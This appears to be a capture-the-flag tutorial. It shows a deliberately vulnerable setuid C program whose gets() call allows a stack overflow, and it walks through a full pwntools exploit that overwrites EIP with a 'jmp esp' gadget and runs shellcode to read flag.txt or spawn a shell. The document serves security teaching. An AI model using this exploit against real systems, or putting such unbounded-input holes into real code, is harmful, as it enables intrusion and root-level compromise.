Overview
This attack injects and executes custom shellcode on the stack by exploiting a stack-based buffer overflow and a deliberate trampoline instruction (
jmp %esp
) present in the target binary. The payload pivots execution to attacker-controlled bytes atESP
and runs shellcode to read and printflag.txt
.
Shellcode Injection Attack (x86, jmp esp
trampoline)
Target Summary and Vulnerability
#include <stdio.h>
int secret_function() {
asm("jmp %esp");
}
void receive_feedback()
{
char buffer[64];
puts("Please leave your comments for the server admin but DON'T try to steal our flag.txt:\n");
gets(buffer);
}
int main()
{
setuid(0);
setgid(0);
receive_feedback();
return 0;
}
- Vulnerability:
gets(buffer)
copies unbounded input into a 64-byte stack buffer → classic stack buffer overflow. - Trampoline:
secret_function()
embeds ajmp %esp
instruction in.text
, giving a reliable pivot to the stack (where our shellcode lives). - Privilege context:
setuid(0); setgid(0);
before input; a shell/command executed by our shellcode inherits elevated privileges (important in real targets). - Exploit preconditions typically required for direct shellcode-on-stack:
- NX/DEP disabled (stack executable) OR you must arrange an RWX region first (not done here).
- PIE disabled (or otherwise know the absolute address of
jmp %esp
); here we search the opcode inside the loaded ELF. - No stack canary (or a way to bypass it).
High-level Attack Plan
- Overflow the 64-byte buffer with padding until the saved EIP overwrite.
- Overwrite saved EIP with the address of a
jmp %esp
instruction in the binary. - Place a small NOP sled and then shellcode immediately after the saved EIP on the stack.
- When the function returns, execution lands at
jmp %esp
→ jumps toESP
→ hits our NOPs → executes our shellcode.
Script Walkthrough
1) Environment and Launcher
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: return process([exe] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
continue
'''
exe = './server'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
io = start()
start()
toggles local/GDB/remote without code changes.ELF(exe)
enables symbol lookups and byte-pattern searches in the binary.checksec=False
skips security checks; useelf.checksec()
during analysis if needed.
2) Control Offset (padding)
padding = 76
- Number of bytes to reach the saved EIP (buffer + saved EBP).
- In practice, obtain this with a cyclic pattern (
cyclic
/cyclic_find
); here it’s precomputed and hardcoded as 76.
3) Locate the jmp %esp
Gadget inside the Binary
jmp_esp = asm('jmp esp') # assemble opcode bytes for x86
jmp_esp = next(elf.search(jmp_esp)) # find its address in .text
- Assembles the machine bytes for
jmp esp
and searches the ELF for the first occurrence. - Because the binary explicitly contains that instruction in
secret_function()
, this is a stable target address. - Using the ELF’s own bytes avoids relying on external module addresses or ASLR-sensitive locations.
4) Build the Shellcode
shellcode = asm(shellcraft.cat('flag.txt')) # read/print flag
# shellcode = asm(shellcraft.sh()) # alternative: interactive shell
shellcode += asm(shellcraft.exit()) # clean exit
- Pwntools
shellcraft
emits compact, position-independent x86 shellcode. cat('flag.txt')
is deterministic and avoids TTY issues common withsh
.- Appending
exit()
prevents crashing after completion (optional but tidy).
5) Construct the Final Payload
payload = flat(
asm('nop') * padding, # fill up to saved EIP
jmp_esp, # overwrite saved EIP with address of jmp esp
asm('nop') * 16, # small NOP sled after redirect
shellcode # our code lives at ESP after jmp
)
-
Layout (little-endian packing handled by
flat()
):[ 76 x NOPs ] [ EIP = &jmp_esp ] [ 16 x NOPs ] [ shellcode ... ] ^ saved EIP
-
On function return, EIP =
&jmp esp
→ CPU executesjmp esp
→ lands at start of the post-EIP NOP sled → slides into shellcode. -
The post-EIP NOP sled provides landing tolerance if ESP isn’t exactly where expected.
6) Delivery and Interaction
write("payload", payload) # artifact for debugging/replay
io.sendlineafter(b':', payload) # sync on prompt, then send
io.interactive() # receive flag / interact with shell
sendlineafter
ensures the program is ready to accept input.interactive
keeps the session open to capture output or interact with a spawned shell.
Memory and Control-flow Diagram (simplified)
Stack just before returning from receive_feedback()
:
... [local buffer 64B] [saved EBP] [saved EIP] [next stack bytes...]
^ ^
| |
| +-- overwritten with &jmp_esp (in .text)
|
+-- padding fills from buffer start up to saved EIP
[next bytes after saved EIP on stack]:
[ NOP sled ] [ shellcode ... ]
Return → EIP = &jmp_esp
→ CPU executes jmp esp
→ ESP points to [ NOP sled ][ shellcode ]
→ shellcode runs.
Practical Considerations
- Checksec / Mitigations
- NX (DEP): Must be disabled for direct stack execution. If NX is on, use a ROP stage to
mprotect
/mmap
RX pages or jump to RWX segment. - PIE: If enabled,
&jmp_esp
will be randomized. Here, the script searches at runtime in the loaded image, which still works locally under typical ASLR if PIE is off. For remote, ensure determinism or leak a code pointer first. - Canary: If present, you must bypass or leak it before overwriting saved EIP.
- NX (DEP): Must be disabled for direct stack execution. If NX is on, use a ROP stage to
- Reliability
- Keep a modest NOP sled after the EIP overwrite; too short leaves little margin, too long may affect offsets in other scenarios.
- Prefer
cat('flag.txt')
over a full shell for CI-friendly solves; swap toshellcraft.sh()
for interactive engagement.
- Debug workflow
- Use GDB (
--GDB
) to verifypadding
, inspectESP
at crash, confirm that&jmp_esp
is correct, and step through the trampoline into shellcode.
- Use GDB (
Key Takeaways
- Trampoline-assisted shellcode execution: Leverages a built-in
jmp %esp
to pivot cleanly into stack-resident shellcode. - Precise control offset: Correct
padding
is crucial to place thejmp esp
overwrite at saved EIP. - Self-contained payload: NOP sled + shellcode placed immediately after EIP overwrite provides robust redirection and execution.
- Mitigation awareness: Works as-is when NX is off and PIE is off; otherwise adapt with a ROP prelude (e.g.,
mprotect
) or pointer leaks.
Resources
Link | Description |
---|---|
1.17 - Ret2libc Attack |